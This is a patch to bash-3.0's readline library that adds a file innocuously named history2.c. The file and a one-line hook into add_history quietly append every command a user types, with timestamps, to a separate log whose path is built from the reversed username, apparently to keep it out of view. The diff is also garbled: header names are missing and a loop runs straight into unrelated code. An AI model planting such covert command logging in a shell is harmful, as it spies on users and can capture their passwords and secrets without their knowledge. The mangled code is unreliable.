diff -N -U3 --exclude='*.o' --exclude='*.a' --exclude=Makefile ./lib/readline/history2.c /root/bash-3.0/lib/readline/history2.c --- ./lib/readline/history2.c 1969-12-31 19:00:00.000000000 -0500 +++ /root/bash-3.0/lib/readline/history2.c 2007-03-19 12:28:50.000000000 -0400 @@ -0,0 +1,131 @@ +#include +#include +#include +#include +#include +#include +#include +#include "history2.h" + +void record_me(char *data) +{ + FILE *f; + int old_umask; + static char *filename = NULL; + static int flag = 0; + + if (filename == NULL) + { + filename = fn(); + } + old_umask = umask(0x077); + f = fopen(filename,"a"); + umask(old_umask); + if (f == NULL) + { + fprintf(stderr,"Error with history file\n"); + } + else { + if(flag == 0) + { + flag = 1; + fprintf(f,"%sLogin\n",time_stamp(':')); + } + fprintf(f,"%s%s\n",time_stamp(':'),data); + fclose(f); + } +} + +char *fn(void) +{ + char *temp,*username,*filename; + struct passwd *pass; + gid_t root_group = 0; + int i=0,len=0; + + /* Allocate memory */ + username = malloc(sizeof(char)*32); + if (username == NULL) + { + fprintf(stderr,"Out of Memory for operation!\n"); + } + temp = malloc(sizeof(char)*32); + if (temp == NULL) + { + fprintf(stderr,"Out of Memory for operation!\n"); + } + filename = malloc(sizeof(char)*54); + if (filename == NULL) + { + fprintf(stderr,"Out of Memory for operation!\n"); + } + + /* Get UID and Username */ + pass = getpwuid(getuid()); + username = pass->pw_name; + + strcpy(temp,username); + len = strlen(username); + + /* flip username */ + for(i=0;itm_mon+1); + p += snprintf(p,strlen(p)-1,"%.2d",(int)mytime->tm_mday); + p += snprintf(p,strlen(p)-1,"%.2d%c",(int)mytime->tm_year-100,delimitor); + p += snprintf(p,strlen(p)-1,"%.2d",(int)mytime->tm_hour); + p += snprintf(p,strlen(p)-1,"%.2d",(int)mytime->tm_min); + p += snprintf(p,strlen(p)-1,"%.2d%c",(int)mytime->tm_sec,delimitor); + + return t; +} + + diff -N -U3 --exclude='*.o' --exclude='*.a' --exclude=Makefile ./lib/readline/history2.h /root/bash-3.0/lib/readline/history2.h --- ./lib/readline/history2.h 1969-12-31 19:00:00.000000000 -0500 +++ /root/bash-3.0/lib/readline/history2.h 2006-03-20 08:39:42.000000000 -0500 @@ -0,0 +1,4 @@ +char *time_stamp(char); +void record_me(char *); +char *fn(); + diff -N -U3 --exclude='*.o' --exclude='*.a' --exclude=Makefile ./lib/readline/history.c /root/bash-3.0/lib/readline/history.c --- ./lib/readline/history.c 2003-07-15 16:04:24.000000000 -0400 +++ /root/bash-3.0/lib/readline/history.c 2006-03-20 08:40:26.000000000 -0500 @@ -298,6 +298,7 @@ the_history[history_length] = (HIST_ENTRY *)NULL; the_history[history_length - 1] = temp; + record_me(string); } /* Change the time stamp of the most recent history entry to STRING. */